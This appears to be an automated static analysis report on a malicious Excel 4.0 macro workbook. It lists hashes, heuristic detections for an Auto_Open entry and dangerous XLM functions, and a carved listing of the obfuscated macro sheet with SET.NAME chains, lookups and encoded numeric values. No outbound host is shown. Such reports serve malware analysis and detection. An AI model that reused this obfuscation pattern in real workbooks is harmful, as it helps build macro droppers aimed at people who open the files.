Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 49f8053543affb16…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:37 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 0f82a62e65b6d75104c26b0571a57f49 SHA-1: b6be48ddfa79c2dcd58745d7850dea19299e5ad6 SHA-256: 49f8053543affb1684468c1276acd8c0ada1b4456e80df80d769c4256fe25f33
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6822 bytes
SHA-256: d07dd49b569048b3757ba44878ecffa66d115a40b7cb595dbd1d18ea2209df0d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  YfcTxrjUmB
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I141 
' 0018     20 LABEL : Cell Value, String Constant - bbvec len=0 
' 0018     26 LABEL : Cell Value, String Constant - BdVwyEcaxqP len=0 
' 0018     27 LABEL : Cell Value, String Constant - bgGuOgoTPGGz len=0 
' 0018     24 LABEL : Cell Value, String Constant - BxvdetVHo len=0 
' 0018     22 LABEL : Cell Value, String Constant - dJyCMUo len=0 
' 0018     25 LABEL : Cell Value, String Constant - FJthEToGaN len=0 
' 0018     22 LABEL : Cell Value, String Constant - HxwBJUO len=0 
' 0018     22 LABEL : Cell Value, String Constant - khuGyyF len=0 
' 0018     20 LABEL : Cell Value, String Constant - LJjHv len=0 
' 0018     21 LABEL : Cell Value, String Constant - LLRbzL len=0 
' 0018     27 LABEL : Cell Value, String Constant - nKgVwHOJWrsO len=0 
' 0018     20 LABEL : Cell Value, String Constant - QVqfK len=0 
' 0018     25 LABEL : Cell Value, String Constant - QVQtPzMQNT len=0 
' 0018     23 LABEL : Cell Value, String Constant - qxffRMDa len=0 
' 0018     26 LABEL : Cell Value, String Constant - RjhaAkCnCUF len=0 
' 0018     24 LABEL : Cell Value, String Constant - vjUvDKsvo len=0 
' 0018     24 LABEL : Cell Value, String Constant - WnEsTmFoF len=0 
' 0018     27 LABEL : Cell Value, String Constant - yXpURRUgSeto len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZsXKL len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZZSYaJtP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  YfcTxrjUmB,I46,"SET.NAME("ZsXKL",0+VALUE("0"))",""
'  YfcTxrjUmB,I49,"SET.NAME("WnEsTmFoF",ZsXKL)",""
'  YfcTxrjUmB,I52,"SET.NAME("QVQtPzMQNT",ZsXKL)",""
'  YfcTxrjUmB,I55,"SET.NAME("LJjHv",COUNTA(bgGuOgoTPGGz))",""
'  YfcTxrjUmB,I58,"SET.NAME("dJyCMUo",COUNTA(qxffRMDa))",""
'  YfcTxrjUmB,I63,[],""
'  YfcTxrjUmB,I68,"SET.NAME("vjUvDKsvo","")",""
'  YfcTxrjUmB,P71,"",76.00000000000000000000
'  YfcTxrjUmB,I72,"WnEsTmFoF",""
'  YfcTxrjUmB,P72,"",80.00000000000000000000
'  YfcTxrjUmB,P73,"",-849.00000000000000000000
'  YfcTxrjUmB,P74,"",725.00000000000000000000
'  YfcTxrjUmB,P75,"",-897.00000000000000000000
'  YfcTxrjUmB,P76,"",-475.00000000000000000000
'  YfcTxrjUmB,I77,"SET.NAME("khuGyyF",HLOOKUP("*",bgGuOgoTPGGz,WnEsTmFoF,FALSE))",""
'  YfcTxrjUmB,I79,"ZZSYaJtP",""
'  YfcTxrjUmB,I83,"SET.NAME("QVqfK",ZsXKL)",""
'  YfcTxrjUmB,I87,[],""
'  YfcTxrjUmB,I90,"QVqfK",""
'  YfcTxrjUmB,I95,"HxwBJUO",""
'  YfcTxrjUmB,I100,"yXpURRUgSeto",""
'  YfcTxrjUmB,I102,"FJthEToGaN",""
'  YfcTxrjUmB,I105,"SET.NAME("BxvdetVHo",VALUE(HLOOKUP("*",qxffRMDa,FJthEToGaN,FALSE)))",""
'  YfcTxrjUmB,I110,"LLRbzL",""
'  YfcTxrjUmB,I114,"vjUvDKsvo",""
'  YfcTxrjUmB,I116,"QVQtPzMQNT",""
'  YfcTxrjUmB,I119,NEXT(),""
'  YfcTxrjUmB,I123,"RjhaAkCnCUF",""
'  YfcTxrjUmB,I125,[],""
'  YfcTxrjUmB,I130,"BdVwyEcaxqP",""
'  YfcTxrjUmB,I134,NEXT(),""
'  YfcTxrjUmB,I136,RETURN(),""
'  YfcTxrjUmB,I165,"SET.NAME("nKgVwHOJWrsO",I46)",""
'  YfcTxrjUmB,I167,"bgGuOgoTPGGz",""
'  YfcTxrjUmB,I170,"SET.NAME("qxffRMDa",R53C12)",""
'  YfcTxrjUmB,I172,"SET.NAME("BdVwyEcaxqP",179)",""
'  YfcTxrjUmB,I174,"SET.NAME("bbvec",9)",""
'  YfcTxrjUmB,I178,nKgVwHOJWrsO(),""
'  YfcTxrjUmB,I179,HALT(),""

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